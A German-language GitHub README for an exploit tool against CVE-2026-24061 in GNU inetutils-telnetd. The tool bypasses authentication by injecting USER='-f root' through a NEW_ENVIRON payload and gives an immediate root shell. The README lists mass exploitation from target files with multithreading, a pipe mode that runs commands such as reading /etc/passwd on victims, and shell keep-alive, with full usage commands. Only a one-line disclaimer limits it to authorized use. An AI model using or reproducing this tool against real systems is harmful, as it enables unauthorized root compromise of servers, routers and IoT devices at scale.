
Remote-Authentifizierungs-Bypass-Exploit für GNU inetutils-telnetd (CVE-2026-24061) mittels CRLF-Injection, um eine sofortige Root-Shell zu erlangen. Unterstützt Einzel-/Massen-Exploitation, Multi-Threading, benutzerdefinierte Ports, Pipe-Modus und Sitzungs-Keep-Alive.

GNU inetutils-telnetd-Edition - CRLF-Injection zum Authentifizierungs-Bypass & sofortige Root-Shell
Dieser Exploit nutzt CVE-2026-24061 aus, eine kritische Schwachstelle für Remote-Authentifizierungs-Bypass in GNU inetutils-telnetd. Durch das Injizieren eines präparierten NEW_ENVIRON-Payloads mit USER='-f root' wird die Authentifizierung umgangen und eine sofortige Root-Shell ohne jegliche Anmeldedaten gewährt.
Hinweis: Das Skript
basic_exploit.shist eine vereinfachte, schnellere Version vonexploit.sh; für den vollen Funktionsumfang wird jedochexploit.shempfohlen.
| Kategorie | Funktionen |
|---|---|
| Ausnutzung | ✅ Authentifizierungs-Bypass per CRLF-Injection ✅ Sofortige Root-Shell ✅ Benutzerdefinierte Benutzer-Injection (-f admin, -f user) |
| Scannen | ✅ Exploitation einzelner Ziele ✅ Massen-Exploitation aus Datei ✅ Multithreading (konfigurierbare Threads) ✅ Unterstützung benutzerdefinierter Ports |
| Erweitert | ✅ Pipe-Modus (Befehlsausführung über stdin) ✅ Sitzungs-Keep-Alive ✅ Wiederholungsmechanismus ✅ Timeout-Steuerung |
| Benutzerfreundlichkeit | ✅ Farbige Ausgabe (colorama) ✅ Zweisprachig (Python & Bash) ✅ Ausführlicher/Debug-Modus |
| Produkt | Versionen |
|---|---|
| GNU inetutils-telnetd | 1.9.3 - 2.7 |
| Betroffene Linux-Distributionen | Debian, CentOS, Ubuntu und deren Distributionen. (Zorin OS, Linux Mint, Pop!_OS und Elementary OS) |
| Eingebettete Geräte | NAS, IoT, Router |
⚠️ Haftungsausschluss: Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Unbefugter Zugriff ist illegal.
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit
cd CVE-2026-24061-PoC-Exploit
# Python version
pip3 install -r requirements.txt
# Bash version
chmod +x exploit.sh
chmod +x basic_exploit.sh
# Python version
python3 exploit.py -u 192.168.1.100
# Bash version
./exploit.sh -u 192.168.1.100
./basic_exploit.sh 192.168.1.100
# Custom port (non-standard telnet port)
python3 exploit.py -u 10.0.0.5 -p 2323
# Custom username injection
python3 exploit.py -u 10.0.0.5 -usr admin
# Create targets file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "10.0.0.5:2323" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt -m 20
# Bash version
./exploit.sh -l targets.txt -m 20
# Execute commands via pipe
echo "id; whoami; uname -a" | python3 exploit.py -u 192.168.1.100
# Multiple commands
echo "ls -la; cat /etc/passwd; ps aux" | ./exploit.sh -u 192.168.1.100
# Verbose mode with debug output
python3 exploit.py -u 192.168.1.100 -v
# Custom timeout and retries
python3 exploit.py -u 192.168.1.100 --timeout 10 --retries 5
# Session keep-alive (maintain shell)
python3 exploit.py -u 192.168.1.100 --keep-alive
| Kurz | Lang | Beschreibung | Standard |
|---|---|---|---|
-u | --url | IP-Adresse des Ziels | Erforderlich |
-p | --port | Zielport | 23 |
-l | --list | Datei mit Zielliste | Keine |
-m | --max-threads | Maximale Threads für Massen-Exploitation | 10 |
-usr | --username | Zu injizierender Benutzername | root |
-t | --timeout | Socket-Timeout (Sekunden) | 10 |
-r | --retries | Anzahl der Wiederholungsversuche | 3 |
-v | --verbose | Debug-Ausgabe aktivieren | False |
--keep-alive | Sitzung nach der Exploitation aktiv halten | False |
Schau dir meine anderen Exploit-Repositories an: